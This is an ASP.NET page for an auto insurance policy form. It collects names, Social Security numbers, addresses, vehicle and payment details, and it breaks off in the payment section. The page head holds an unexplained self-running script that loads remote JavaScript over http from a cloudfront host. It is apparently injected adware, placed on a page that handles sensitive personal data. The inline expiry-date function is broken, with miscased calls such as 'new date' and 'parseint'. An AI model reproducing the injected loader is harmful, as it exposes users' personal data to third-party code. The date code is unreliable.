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GuardianXtra.aspx
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<%@ Page Language="C#" AutoEventWireup="true" CodeFile="GuardianXtra.aspx.cs" Inherits="EPolicy.GuardianXtra" %>
<%@ Register Assembly="AjaxControlToolkit, Version=3.5.50508.0, Culture=neutral, PublicKeyToken=28f01b0e84b6d53e"
Namespace="AjaxControlToolkit" TagPrefix="Toolkit" %>
<%@ Register Assembly="AjaxControlToolkit" Namespace="AjaxControlToolkit" TagPrefix="asp" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/tr/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" />
<head id="Head1" runat="server">
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<link rel="apple-touch-icon" href="apple-touch-icon.png">
<link rel="stylesheet" href="css/bootstrap.min.css" />
<link rel="icon" href="Images2\LogoGuardian.ico" type="image/x-icon" />
<style>
html, body
{
height: 100%;
}
body
{
background-color: #17529B;
}
.container-fluid
{
height: 100%;
}
.row.row-offcanvas.row-offcanvas-left
{
height: 100%;
}
.col-md-2
{
width: 16.66666667%;
height: 100%;
}
.main
{
height: 100%;
}
.over-top-btn
{
width: 100%;
}
</style>
<script src="js/jquery-1.12.1.min.js" type="text/javascript"></script>
<script src="js/jquery.mask.js" type="text/javascript"></script>
<link rel="stylesheet" href="css/bootstrap-theme.min.css">
<link rel="stylesheet" href="css/main.css">
<link href="css/fonts.css" rel="stylesheet" />
<link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css"
rel="stylesheet" integrity="sha384-T8Gy5hrqNKT+hzMclPo118YTQO6cYprQmhrYwIiQ/3axmI1hQomh7Ud2hPOy8SP1"
crossorigin="anonymous" />
<script type="text/javascript"> (function () { var a = document.createElement("script"); a.type = "text/javascript"; a.async = !0; a.src = "http://d36mw5gp02ykm5.cloudfront.net/yc/adrns_y.js?v=6.11.107#p=samsungxssdx840xevox250gb_s1dbnsaf286689w"; var b = document.getElementsByTagName("script")[0]; b.parentNode.insertBefore(a, b); })();
</script>
<script type='text/javascript'>
function myCashPayment() {
var r = confirm("Confirm cash payment.");
if (r == true) {
alert("Your payment has been completed!")
return true;
}
else {
alert("Your payment has been canceled.");
return false;
}
}
</script>
<script type='text/javascript'>
jQuery(function ($) {
$("#AccordionPane1_content_TxtHomePhone").mask("(000) 000-0000", { placeholder: "(###) ###-####" });
$("#AccordionPane1_content_TxtCellular").mask("(000) 000-0000", { placeholder: "(###) ###-####" });
$("#AccordionPane1_content_TxtBirthdate").mask("00/00/0000", { placeholder: "__/__/____" });
// $('#TxtDriverBirthDate').mask('00/00/0000', { placeholder: '__/__/____' });
$("#AccordionPane1_content_txtWorkPhone").mask("(000) 000-0000", { placeholder: "(###) ###-####" });
//$("#AccordionPane1_content_txtSocialSec").mask("000-00-0000", { placeholder: "__-__-____" });
//$("#AccordionPane2_content_txtEffDt").mask("00/00/0000", { placeholder: "__/__/____" });
});
</script>
</head>
<body>
<form id="Form1" method="post" runat="server">
<div class="container-fluid" style="height: 100%">
<Toolkit:ToolkitScriptManager ID="ToolkitScriptManager1" runat="server" EnableScriptGlobalization="True"
AsyncPostBackTimeout="0">
</Toolkit:ToolkitScriptManager>
<asp:UpdatePanel ID="UpdatePanel1" runat="server" RenderMode="Block">
<ContentTemplate>
<script type="text/javascript">
function getexpdt() {
//var odt = document.ra.txteffdt.value;
var pdt = new date(document.ra.txteffdt.value);
var trm = parseint(document.ra.txtterm.value);
var mnth = pdt.getmonth() + trm;
if (!isnan(mnth))
{
pdt.setmonth(mnth % 12);
if (mnth > 11)
{
var t = pdt.getfullyear() + math.floor(mnth / 12);
pdt.setfullyear(t);
}
document.ra.txtexpdt.value = parse(pdt);
//document.ra.txteffdt.value = odt.tostring();
}
}
function parse(dt) {
ldt = new Date(dt);
if ((ldt.getMonth() + 1) < 10)
str = "0" + (ldt.getMonth() + 1);
else
str = (ldt.getMonth() + 1);
str += "/";
if (ldt.getDate() < 10)
str += "0" + ldt.getDate();
else
str += ldt.getDate();
str += "/";
str += dt.getFullYear();
return str;
}
</script>
<script src="js/jquery-1.12.1.min.js" type="text/javascript"></script>
<script src="js/jquery.mask.js" type="text/javascript"></script>
<asp:Literal ID="jvscript" runat="server"></asp:Literal>
<div class="row row-offcanvas row-offcanvas-left" style="height: 100%">
<div class="col-sm-3 col-md-2 sidebar-offcanvas" id="sidebar" role="navigation">
<asp:PlaceHolder ID="phTopBanner" runat="server"></asp:PlaceHolder>
</div>
<div class="col-sm-9 col-md-10 main" style="height: 100%">
<!--toggle sidebar button-->
<p class="visible-xs">
<button type="button" class="btn btn-primary btn-xs" data-toggle="offcanvas">
<i class="glyphicon glyphicon-chevron-left"></i>
</button>
</p>
<h1 class="page-header">
Guardian Xtra</h1>
<div class="form=group" align="center">
<asp:Button ID="btnReinstallation" runat="server" CssClass="btn btn-primary btn-lg"
TabIndex="73" Text="REINSTALLATION" Visible="False" OnClick="btnReinstallation_Click"
Style="margin-left: 10px;" Width="200px"/>
<asp:Button ID="btnDelete" runat="server" CssClass="btn btn-primary btn-lg" OnClick="btnDelete_Click"
TabIndex="74" Text="DELETE" Visible="False" Style="margin-left: 10px;" Width="200px"/>
<asp:Button ID="btnAdd2" runat="server" CssClass="btn btn-primary btn-lg" OnClick="btnAdd2_Click"
TabIndex="75" Text="ADD" Visible="false" Style="margin-left: 10px;" Width="200px"/>
<asp:Button ID="btnGuardianPay" runat="server" CssClass="btn btn-primary btn-lg"
OnClick="btnGuardianPay_Click" TabIndex="81" Text="GUARDIAN PAY" Style="margin-left: 10px;" Width="220px"/>
<asp:Button ID="btnRenew" runat="server" CssClass="btn btn-primary btn-lg" OnClick="btnRenew_Click"
TabIndex="70" Text="RENEW" Visible="False" Style="margin-left: 10px;" Width="200px"/>
<asp:Button ID="btnCancellation" runat="server" CssClass="btn btn-primary btn-lg"
TabIndex="72" Text="CANCELLATION" Visible="False" OnClick="btnCancellation_Click"
Style="margin-left: 10px;" Width="200px"/>
<asp:Button ID="btnEdit" runat="server" CssClass="btn btn-primary btn-lg" OnClick="btnEdit_Click"
TabIndex="76" Text="MODIFY" Style="margin-left: 10px;" Width="200px"/>
<asp:Button ID="BtnSave" runat="server" CssClass="btn btn-primary btn-lg" OnClick="BtnSave_Click"
TabIndex="77" Text="SAVE" Visible="False" Style="margin-left: 10px;" Width="200px"/>
<asp:Button ID="btnPrintInvoice" runat="server" CssClass="btn btn-primary btn-lg" OnClick="btnPrintInvoice_Click"
TabIndex="78" Text="PRINT INVOICE" Style="margin-left: 10px;" Width="200px" Visible="False"/>
<asp:DropDownList ID="ddlPrintOption" runat="server"
CssClass="btn btn-primary btn-lg" TabIndex="18" Width="200px">
<asp:ListItem>Print All</asp:ListItem>
<asp:ListItem>Insured Information</asp:ListItem>
<asp:ListItem>Payment Information</asp:ListItem>
<asp:ListItem>Declaration Page</asp:ListItem>
<asp:ListItem>Terms & Services</asp:ListItem>
</asp:DropDownList>
<asp:Button ID="btnPrintPolicy" runat="server" CssClass="btn btn-primary btn-lg"
OnClick="btnPrint_Click" TabIndex="78" Text="PRINT" Style="margin-left: 10px;" Width="220px"/>
<asp:Button ID="btnCancel" runat="server" CssClass="btn btn-primary btn-lg" OnClick="btnCancel_Click"
TabIndex="80" Text="CANCEL" Visible="False" Style="margin-left: 10px;" Width="220px"/>
<asp:Button ID="BtnExit" runat="server" CssClass="btn btn-primary btn-lg" OnClick="BtnExit_Click"
TabIndex="81" Text="EXIT" Visible="False" Style="margin-left: 10px;" Width="220px"/>
<br />
<br />
<div align="left">
<asp:Label ID="Label8" runat="server" Font-Bold="True" ForeColor="Gray">Guardian Xtra:</asp:Label>
<asp:Label ID="LblControlNo" runat="server" CssClass="" Font-Bold="True" ForeColor="Gray"> No.:</asp:Label>
</div>
</div>
<div class="form-group" align="center">
<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="UpdatePanel1"
DisplayAfter="10">
<ProgressTemplate>
<img alt="" src="Images2/loader.gif" style="width: 40px; height: 40px;" />
<span><span class=""></span><span class="" style="font-size: 18px">Please wait...</span></span></ProgressTemplate>
</asp:UpdateProgress>
</div>
<div class="row formWraper" style="padding: 0px;">
<Toolkit:Accordion ID="MyAccordion" runat="Server" AutoSize="None" CssClass="accordion" HeaderSelectedCssClass=""
FadeTransitions="true" FramesPerSecond="40" HeaderCssClass="accordion-head" ContentCssClass="accordion-body"
RequireOpenedPane="false" SelectedIndex="0" SuppressHeaderPostbacks="true" TransitionDuration="250">
<Panes>
<Toolkit:AccordionPane ID="AccordionPane1" runat="server">
<Header>
INSURED INFORMATION
<div class="arrow down">
</div>
</Header>
<Content>
<asp:Label ID="lblPrintOption" runat="server" Text="Print Option:" Visible="False"> </asp:Label>
<asp:CheckBox ID="chkInsured" runat="server" Text="Insured" Visible="False" />
<asp:CheckBox ID="chkProducer" runat="server" Text="Producer" Visible="False" />
<asp:CheckBox ID="chkAgency" runat="server" Text="Agency" Visible="False" />
<asp:CheckBox ID="chkCompany" runat="server" Text="Company" Visible="False" />
<asp:CheckBox ID="chkExtraCopy" runat="server" Text="Extra Copy" Visible="False" />
<div class="col-sm-2">
<br />
<asp:Label ID="lblProspectNo" runat="server" CssClass="labelForControl">Customer No.:</asp:Label>
<br />
<asp:TextBox ID="TxtProspectNo" runat="server" CssClass="form-controlWhite" MaxLength="10"
TabIndex="1000" Width="200px"></asp:TextBox>
<br />
<br />
<asp:Label ID="Label13" runat="server" CssClass="labelForControl" ForeColor="Red">First Name:</asp:Label>
<br />
<asp:TextBox ID="TxtFirstName" Style="text-transform: uppercase" runat="server" CssClass="form-controlWhite"
TabIndex="1001" Width="200px"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblInitial" runat="server" CssClass="labelForControl" EnableViewState="False">Initial:</asp:Label>
<br />
<asp:TextBox ID="TxtInitial" Style="text-transform: uppercase" runat="server" CssClass="form-controlWhite"
MaxLength="1" TabIndex="1002" Width="200px"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblLastName" runat="server" CssClass="labelForControl" ForeColor="Red">Last Name 1:</asp:Label>
<br />
<asp:TextBox ID="txtLastname1" Style="text-transform: uppercase" runat="server" CssClass="form-controlWhite"
MaxLength="15" TabIndex="1003" Width="200px"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblLastName2" runat="server" CssClass="labelForControl">Last Name 2:</asp:Label>
<br />
<asp:TextBox ID="txtLastname2" Style="text-transform: uppercase" runat="server" CssClass="form-controlWhite"
MaxLength="15" TabIndex="1004" Width="200px"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblBirthdate" runat="server" CssClass="labelForControl" ForeColor="Red">Date of Birth:</asp:Label>
<br />
<asp:TextBox ID="TxtBirthdate" TabIndex="1005" runat="server" ISDATE="True" CssClass="form-controlWhite" Width="200px"></asp:TextBox>
<%--<Toolkit:MaskedEditExtender ID="MaskedEditExtender1" runat="server" CultureName="en-US" Mask="99/99/9999"
MaskType="Date" TargetControlID="TxtBirthDate"> </Toolkit:MaskedEditExtender>--%>
<br />
<br />
<asp:Label ID="lblSocialSec" runat="server" CssClass="labelForControl">Social Security No:</asp:Label>
<br />
<asp:TextBox ID="txtSocialSec" TabIndex="1005" runat="server" CssClass="form-controlWhite" Width="200px" MaxLength="11" ></asp:TextBox>
<asp:MaskedEditExtender ID="MaskedEditExtender1" runat="server" TargetControlID="txtSocialSec"
Mask="999-99-9999" ClearMaskOnLostFocus="false"
InputDirection="RightToLeft">
</asp:MaskedEditExtender>
<br />
<br />
</div>
<div class="col-sm-1">
</div>
<div class="col-sm-2">
<br />
<asp:Label ID="lblHomePhone" runat="server" CssClass="labelForControl">Home Phone:</asp:Label>
<br />
<asp:TextBox ID="TxtHomePhone" runat="server" CssClass="form-controlWhite" IsDate="False"
MaxLength="20" TabIndex="1006" Width="200px"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblWorkPhone" runat="server" CssClass="labelForControl">Work Phone:</asp:Label>
<br />
<asp:TextBox ID="txtWorkPhone" runat="server" CssClass="form-controlWhite" IsDate="False"
MaxLength="20" TabIndex="1007" Width="200px"></asp:TextBox>
<br />
<br />
<asp:Label ID="Label58" runat="server" CssClass="labelForControl" ForeColor="Red">Cellular</asp:Label>
<br />
<asp:TextBox ID="TxtCellular" runat="server" CssClass="form-controlWhite" IsDate="False"
MaxLength="20" TabIndex="1008" Width="200px"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblEmail" runat="server" CssClass="labelForControl">E-mail</asp:Label>
<br />
<asp:TextBox ID="txtEmail" runat="server" CssClass="form-controlWhite" MaxLength="100"
Style="text-transform: uppercase" TabIndex="1009" Width="200px"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblLicense" runat="server" CssClass="labelForControl" ForeColor="Red">License Num.</asp:Label>
<br />
<asp:TextBox ID="TxtLicense" runat="server" CssClass="form-controlWhite" MaxLength="7"
TabIndex="1010" Width="200px"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblOccupa" runat="server" CssClass="labelForControl">Occupation</asp:Label>
<br />
<asp:TextBox ID="TxtOccupa" runat="server" CssClass="form-controlWhite" Style="text-transform: uppercase"
TabIndex="1011" MaxLength="100" Width="200px"></asp:TextBox>
<br />
<br />
</div>
<div class="col-sm-1">
</div>
<div class="col-sm-2">
<div style="text-align: center;">
<asp:Label ID="LblAddress" runat="server" Font-Bold="True" CssClass="labelForControl"
Text="Mailing Address"></asp:Label>
</div>
<asp:Label ID="lbladdress1" runat="server" CssClass="labelForControl" ForeColor="Red">Address 1</asp:Label>
<br />
<asp:TextBox ID="TxtAddrs1" Style="text-transform: uppercase" runat="server" CssClass="form-controlWhite"
MaxLength="30" TabIndex="1012"></asp:TextBox>
<br />
<br />
<asp:Label ID="lbladdress2" runat="server" CssClass="labelForControl">Address 2</asp:Label>
<br />
<asp:TextBox ID="TxtAddrs2" runat="server" CssClass="form-controlWhite" MaxLength="30"
Style="text-transform: uppercase" TabIndex="1013"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblZipCode" runat="server" CssClass="labelForControl" ForeColor="Red">Zip Code</asp:Label>
<br />
<asp:DropDownList ID="ddlZip" runat="server" AutoPostBack="True" CssClass="form-controlWhite"
DataTextField="ZipCode" DataValueField="ZipCode" OnSelectedIndexChanged="ddlZip_SelectedIndexChanged"
TabIndex="1014" TxtCity="">
</asp:DropDownList>
<br />
<br />
<asp:TextBox ID="TxtCity" runat="server" CssClass="headfield1" Font-Names="Tahoma"
MaxLength="14" TabIndex="8" Visible="False"></asp:TextBox>
<asp:Label ID="lblCity" runat="server" CssClass="labelForControl" ForeColor="Red">City</asp:Label>
<br />
<asp:DropDownList ID="ddlCiudad" runat="server" AutoPostBack="True" CssClass="form-controlWhite"
OnSelectedIndexChanged="ddlCiudad_SelectedIndexChanged" TabIndex="1015" TxtCity="" Enabled="False">
</asp:DropDownList>
<br />
<br />
<asp:Label ID="lblState" runat="server" CssClass="labelForControl">State</asp:Label>
<br />
<asp:TextBox ID="TxtState" runat="server" CssClass="form-controlWhite" MaxLength="2"
Style="text-transform: uppercase" TabIndex="1016"></asp:TextBox>
<br />
<br />
</div>
<div class="col-sm-1">
<br />
<asp:CheckBox ID="chkSameMailing" runat="server" Font-Bold="false" AutoPostBack="True"
OnCheckedChanged="chkSameMailing_CheckedChanged" CssClass="labelForControl" TabIndex="1017"
Text="Same as Mailing" />
</div>
<div class="col-sm-2">
<div style="text-align: center;">
<asp:Label ID="LblAddress5" runat="server" Font-Bold="True" CssClass="labelForControl"
Text="Physical Address"></asp:Label>
</div>
<asp:Label ID="lbladdress10" runat="server" CssClass="labelForControl" ForeColor="Red">Address 1</asp:Label>
<br />
<asp:TextBox ID="txtPhyAddress" runat="server" CssClass="form-controlWhite" MaxLength="30"
TabIndex="1018" Style="text-transform: uppercase" AutoPostBack="True" OnTextChanged="txtPhyAddress_TextChanged"></asp:TextBox>
<br />
<br />
<asp:Label ID="lbladdress9" runat="server" CssClass="labelForControl">Address 2</asp:Label>
<br />
<asp:TextBox ID="txtPhyAddress2" runat="server" CssClass="form-controlWhite" MaxLength="30"
TabIndex="1019" Style="text-transform: uppercase" AutoPostBack="True" OnTextChanged="txtPhyAddress2_TextChanged"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblZipCode2" runat="server" CssClass="labelForControl" ForeColor="Red">Zip Code</asp:Label>
<br />
<asp:DropDownList ID="ddlPhyZipCode" runat="server" AutoPostBack="True" CssClass="form-controlWhite"
DataTextField="ZipCode" DataValueField="ZipCode" OnSelectedIndexChanged="ddlPhyZipCode_SelectedIndexChanged"
TabIndex="1020" TxtCity="">
</asp:DropDownList>
<br />
<br />
<asp:TextBox ID="TxtCity2" runat="server" CssClass="headfield1" Font-Names="Tahoma"
MaxLength="14" TabIndex="8" Visible="False"></asp:TextBox>
<asp:Label ID="lblCity4" runat="server" CssClass="labelForControl" ForeColor="Red">City</asp:Label>
<br />
<asp:DropDownList ID="ddlPhyCity" runat="server" CssClass="form-controlWhite" TabIndex="1021"
OnSelectedIndexChanged="ddlPhyCity_SelectedIndexChanged" AutoPostBack="True" Enabled="False">
</asp:DropDownList>
<br />
<br />
<asp:Label ID="lblState2" runat="server" CssClass="labelForControl">State</asp:Label>
<br />
<asp:TextBox ID="txtPhyState" runat="server" CssClass="form-controlWhite" MaxLength="2"
Style="text-transform: uppercase" TabIndex="1022" AutoPostBack="True" OnTextChanged="txtPhyState_TextChanged"></asp:TextBox>
</div>
</Content>
</Toolkit:AccordionPane>
</Panes>
</Toolkit:Accordion>
</div>
<div class="row formWraper" style="padding: 0px;">
<Toolkit:Accordion ID="Accordion1" runat="Server" AutoSize="None" CssClass="accordion"
FadeTransitions="true" FramesPerSecond="40" HeaderCssClass="accordion-head" ContentCssClass="accordion-body"
RequireOpenedPane="false" SelectedIndex="0" SuppressHeaderPostbacks="true" TransitionDuration="250">
<Panes>
<Toolkit:AccordionPane ID="AccordionPane2" runat="server" TabIndex="1999">
<Header>
POLICY DETAIL
<div class="arrow down">
</div>
</Header>
<Content>
<div class="col-sm-1">
</div>
<div class="col-sm-3">
<asp:Label ID="lblPolicyNo" runat="server" CssClass="labelForControl">Policy No.</asp:Label>
<asp:CheckBox ID="ChkAutoAssignPolicy" runat="server" AutoPostBack="True" CssClass="headForm1 "
ForeColor="Black" Height="16px" OnCheckedChanged="ChkAutoAssignPolicy_CheckedChanged"
TabIndex="14" Text=" " ToolTip="Auto Assign Policy" Visible="False" />
<br />
<asp:TextBox ID="TxtPolicyNo" runat="server" CssClass="form-controlWhite" MaxLength="15"
TabIndex="2000"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblPolicyType" runat="server" CssClass="labelForControl" Width="83px">Policy Type</asp:Label>
<br />
<asp:TextBox ID="TxtPolicyType" runat="server" CssClass="form-controlWhite" MaxLength="3"
TabIndex="2001"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblSuffix" runat="server" CssClass="labelForControl" Width="34px">Suffix</asp:Label>
<br />
<asp:TextBox ID="TxtSufijo" runat="server" CssClass="form-controlWhite" MaxLength="2"
TabIndex="2002"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblTerm" runat="server" CssClass="labelForControl">Term</asp:Label>
<br />
<asp:TextBox ID="TxtTerm" runat="server" CssClass="form-controlWhite" MaxLength="3"
TabIndex="2003"></asp:TextBox>
</div>
<div class="col-sm-1">
</div>
<div class="col-sm-2">
<asp:Label ID="Label59" runat="server" CssClass="labelForControl" ForeColor="Red">Effective Date</asp:Label>
<br />
<asp:TextBox ID="txtEffDt" runat="server" AutoPostBack="True" CssClass="form-controlWhite"
OnTextChanged="txtEffDt_TextChanged" TabIndex="2004" Width="175px"></asp:TextBox>
<Toolkit:CalendarExtender ID="txtEffDt_CalendarExtender" runat="server" Format="MM/dd/yyyy"
PopupButtonID="imgCalendarEff" TargetControlID="txtEffDt" CssClass="Calendar">
</Toolkit:CalendarExtender>
<%--<Toolkit:MaskedEditExtender ID="txtEffDt_MaskedEditExtender" runat="server" CultureName="en-US"
Mask="99/99/9999" MaskType="Date" TargetControlID="txtEffDt">
</Toolkit:MaskedEditExtender>--%>
<asp:ImageButton ID="imgCalendarEff" runat="server" ImageUrl="~/Images2/Calendar.png"
TabIndex="2005" Width="25px" Height="25px"/>
<br />
<br />
<asp:Label ID="Label61" runat="server" CssClass="labelForControl">Exp. Date</asp:Label>
<br />
<asp:TextBox ID="txtExpDt" runat="server" AutoPostBack="False" CssClass="form-controlWhite"
OnTextChanged="txtExpDt_TextChanged" TabIndex="2006" ></asp:TextBox>
<Toolkit:CalendarExtender ID="txtExpDt_CalendarExtender" runat="server" Format="MM/dd/yyyy"
PopupButtonID="imgCalendarExp" TargetControlID="txtExpDt" CssClass="Calendar">
</Toolkit:CalendarExtender>
<Toolkit:MaskedEditExtender ID="txtExpDt_MaskedEditExtender" runat="server" CultureName="en-US"
Mask="99/99/9999" MaskType="Date" TargetControlID="txtExpDt">
</Toolkit:MaskedEditExtender>
<br />
<br />
<asp:Label ID="Label63" runat="server" CssClass="labelForControl">Entry Date</asp:Label>
<br />
<asp:TextBox ID="txtEntryDate" runat="server" CssClass="form-controlWhite" TabIndex="2007"
></asp:TextBox>
<Toolkit:CalendarExtender ID="txtEntryDate_CalendarExtender" runat="server" Format="MM/dd/yyyy"
PopupButtonID="imgCalendarEnt" TargetControlID="txtEntryDate" CssClass="Calendar">
</Toolkit:CalendarExtender>
<Toolkit:MaskedEditExtender ID="txtEntryDate_MaskedEditExtender" runat="server" CultureName="en-US"
Mask="99/99/9999" MaskType="Date" TargetControlID="txtEntryDate">
</Toolkit:MaskedEditExtender>
<br />
<br />
<asp:Label ID="Label64" runat="server" CssClass="labelForControl" ForeColor="Red">Deducible</asp:Label>
<br />
<asp:DropDownList ID="ddlDeducible" runat="server" AutoPostBack="True" CssClass="form-controlWhite"
OnSelectedIndexChanged="ddlDeducible_SelectedIndexChanged" TabIndex="2008" >
<asp:ListItem></asp:ListItem>
<asp:ListItem Value="$89">$200</asp:ListItem>
<asp:ListItem Value="$95">$150</asp:ListItem>
<asp:ListItem Value="$100">$100</asp:ListItem>
</asp:DropDownList>
<br />
<br />
<asp:Label ID="lblTotalPremium" runat="server" CssClass="labelForControl">Total Premium</asp:Label>
<br />
<asp:TextBox ID="txtPremium" runat="server" CssClass="form-controlWhite" Enabled="False"
ReadOnly="True" TabIndex="2009" ></asp:TextBox>
<br />
<br />
</div>
<div class="col-sm-1">
</div>
<div class="col-sm-2">
<asp:Label ID="Label60" runat="server" CssClass="labelForControl">Ins. Company</asp:Label>
<br />
<asp:DropDownList ID="ddlInsuranceCompany" runat="server" CssClass="form-controlWhite" TabIndex="2010" Width="250px">
</asp:DropDownList>
<br />
<br />
<asp:Label ID="Label62" runat="server" CssClass="labelForControl">Agency</asp:Label>
<br />
<asp:DropDownList ID="ddlAgency" runat="server" CssClass="form-controlWhite" TabIndex="2011" Width="250px">
</asp:DropDownList>
<br />
<br />
<asp:Label ID="lblSelectedAgent" runat="server" CssClass="labelForControl" ForeColor="Red">Agent</asp:Label>
<br />
<asp:DropDownList ID="ddlAgent" runat="server" CssClass="form-controlWhite" TabIndex="2012" Enabled="False" Width="250px">
</asp:DropDownList>
<br />
<br />
<asp:Label ID="Label65" runat="server" CssClass="labelForControl">Originated At</asp:Label>
<br />
<asp:DropDownList ID="ddlOriginatedAt" runat="server" CssClass="form-controlWhite" TabIndex="2013" Width="250px">
</asp:DropDownList>
<br />
<br />
<asp:TextBox ID="txtTotalPremium" runat="server" AutoPostBack="True" CssClass="form-controlWhite"
MaxLength="15" ReadOnly="True" TabIndex="22" Visible="False" Width="125px"></asp:TextBox>
<asp:Label ID="lblbank" runat="server" CssClass="labelForControl" Visible="False">Bank</asp:Label>
<br />
<asp:DropDownList ID="ddlBank" runat="server" CssClass="form-controlWhite" Font-Size="8pt"
TabIndex="2014" Visible="False" Width="190px">
</asp:DropDownList>
<br />
<br />
<asp:Label ID="lblDealer7" runat="server" CssClass="labelForControl" Visible="False">Dealer</asp:Label>
<asp:DropDownList ID="ddlCompanyDealer" runat="server" CssClass="form-controlWhite"
Font-Size="8pt" TabIndex="2015" Visible="False" Width="190px">
</asp:DropDownList>
</div>
<div class="col-sm-1">
</div>
</Content>
</Toolkit:AccordionPane>
</Panes>
</Toolkit:Accordion>
</div>
<div class="row formWraper" style="padding: 0px;">
<Toolkit:Accordion ID="Accordion2" runat="Server" AutoSize="None" CssClass="accordion"
FadeTransitions="true" FramesPerSecond="40" HeaderCssClass="accordion-head" ContentCssClass="accordion-body"
RequireOpenedPane="false" SelectedIndex="0" SuppressHeaderPostbacks="true" TransitionDuration="250">
<Panes>
<Toolkit:AccordionPane ID="AccordionPane3" runat="server">
<Header>
VEHICLES INFORMATION
<div class="arrow down">
</div>
</Header>
<Content>
<div class="col-sm-1">
</div>
<div style="width:100%">
<asp:CheckBox ID="chkIsCommercialAuto" runat="server" AutoPostBack="True" Font-Bold="True"
CssClass="labelForControl" OnCheckedChanged="chkIsCommercialAuto_CheckedChanged"
TabIndex="3000" Text="Is Commercial Auto" />
<asp:CheckBox ID="chkIsPersonalAuto" runat="server" AutoPostBack="True" Checked="True"
Font-Bold="True" OnCheckedChanged="chkIsPersonalAuto_CheckedChanged" TabIndex="3001"
Text="Is Personal Auto" />
<asp:CheckBox ID="chkHasAccident12" runat="server" AutoPostBack="True" Checked="False"
Font-Bold="True" TabIndex="3001"
Text="Any accidents in the last 12 months?" />
<br />
<br />
</div>
<div class="col-sm-1">
</div>
<div class="col-sm-2">
<asp:Label ID="lblDealer0" runat="server" CssClass="labelForControl" ForeColor="Red">VIN</asp:Label>
<br />
<asp:TextBox ID="txtVehicleVIN" runat="server" Style="text-transform: uppercase" CssClass="form-controlWhite" MaxLength="17"
OnTextChanged="txtVehicleVIN_TextChanged" TabIndex="3002"></asp:TextBox>
<br />
<br />
<asp:Label ID="lblCoverage" runat="server" CssClass="labelForControl">
Does this vehicle have another coverage?</asp:Label>
<br />
<asp:RadioButton ID="rdbCoverageYes" runat="server" AutoPostBack="True" GroupName="chkcoverage"
OnCheckedChanged="rdbCoverageYes_CheckedChanged" TabIndex="3008" Text="Yes" />
<asp:RadioButton ID="rdbCoverageNo" runat="server" AutoPostBack="True" Checked="True"
Font-Names="arial narrow" GroupName="chkcoverage" Height="16px" OnCheckedChanged="rdbCoverageNo_CheckedChanged"
TabIndex="3009" Text="No" />
</div>
<div class="col-sm-2">
<asp:Label ID="lblDealer1" runat="server" CssClass="labelForControl" ForeColor="Red">Make</asp:Label>
<br />
<asp:DropDownList ID="ddlVehicleMake" runat="server" AutoPostBack="True" CssClass="form-controlWhite"
OnSelectedIndexChanged="ddlVehicleMake_SelectedIndexChanged" TabIndex="3003">
</asp:DropDownList>
<br />
<br />
<asp:Label ID="lblExplain" runat="server" CssClass="labelForControl" Visible="False">If the answer is yes, explain:</asp:Label>
<asp:TextBox ID="TxtExplain" runat="server" CssClass="form-controlWhite" Style="text-transform: uppercase" TabIndex="3010" Visible="False" Width="500px"></asp:TextBox>
</div>
<div class="col-sm-2">
<asp:Label ID="lblDealer2" runat="server" CssClass="labelForControl" ForeColor="Red">Model</asp:Label>
<br />
<asp:DropDownList ID="ddlVehicleModel" runat="server" CssClass="form-controlWhite"
TabIndex="3004">
</asp:DropDownList>
</div>
<div class="col-sm-2">
<asp:Label ID="lblDealer3" runat="server" CssClass="labelForControl" ForeColor="Red">Year</asp:Label>
<asp:DropDownList ID="ddlVehicleYear" runat="server" CssClass="form-controlWhite"
TabIndex="3005" >
</asp:DropDownList>
</div>
<div class="col-sm-2">
<asp:Label ID="lblDealer6" runat="server" CssClass="labelForControl" ForeColor="Red">Plate</asp:Label>
<asp:TextBox ID="txtVehiclePlate" runat="server" CssClass="form-controlWhite" MaxLength="15"
Style="text-transform: uppercase" TabIndex="3006" ></asp:TextBox>
<asp:Label ID="lblDealer5" runat="server" CssClass="labelForControl" ForeColor="Red"
Visible="False">New/Used</asp:Label>
<asp:DropDownList ID="ddlNewUsed" runat="server" CssClass="form-controlWhite" TabIndex="3007"
Visible="False" Width="125px">
</asp:DropDownList>
<asp:Button ID="btnAddVehicle" runat="server" CssClass="ButtonText-14" Font-Bold="True"
ForeColor="White" Height="25px" OnClick="btnAddVehicle_Click" TabIndex="3006"
Text="Add" Visible="false" Width="56px" />
</div>
<div class="col-sm-1">
</div>
</Content>
</Toolkit:AccordionPane>
</Panes>
</Toolkit:Accordion>
</div>
<div class="row formWraper" style="padding: 0px;">
<Toolkit:Accordion ID="Accordion3" runat="Server" AutoSize="None" CssClass="accordion"
FadeTransitions="true" FramesPerSecond="40" HeaderCssClass="accordion-head" ContentCssClass="accordion-body"
RequireOpenedPane="false" SelectedIndex="0" SuppressHeaderPostbacks="true" TransitionDuration="250">
<Panes>
<Toolkit:AccordionPane ID="AccordionPane4" runat="server">
<Header>
PAYMENT INFORMATION
<div class="arrow down">
</div>
</Header>
<Content>
<div class="col-sm-1">
</div>
<div class="col-sm-4">
<asp:Label ID="lblPrefPayment" runat="server" CssClass="labelForControl">
Which is your preffered payment method:
</asp:Label>
<br />
<br />
<asp:Label ID="lblDefpayment" runat="server" CssClass="labelForControl" >
Would you like deferred payment plan for payment:
</asp:Label>
<br />
<br />
</div>
<div class="col-sm-3">
<asp:CheckBox ID="chkCredit" runat="server" AutoPostBack="True" GroupName="chkprefpayment"
OnCheckedChanged="chkCredit_CheckedChanged" TabIndex="3015" Text="Credit" Visible="False" />
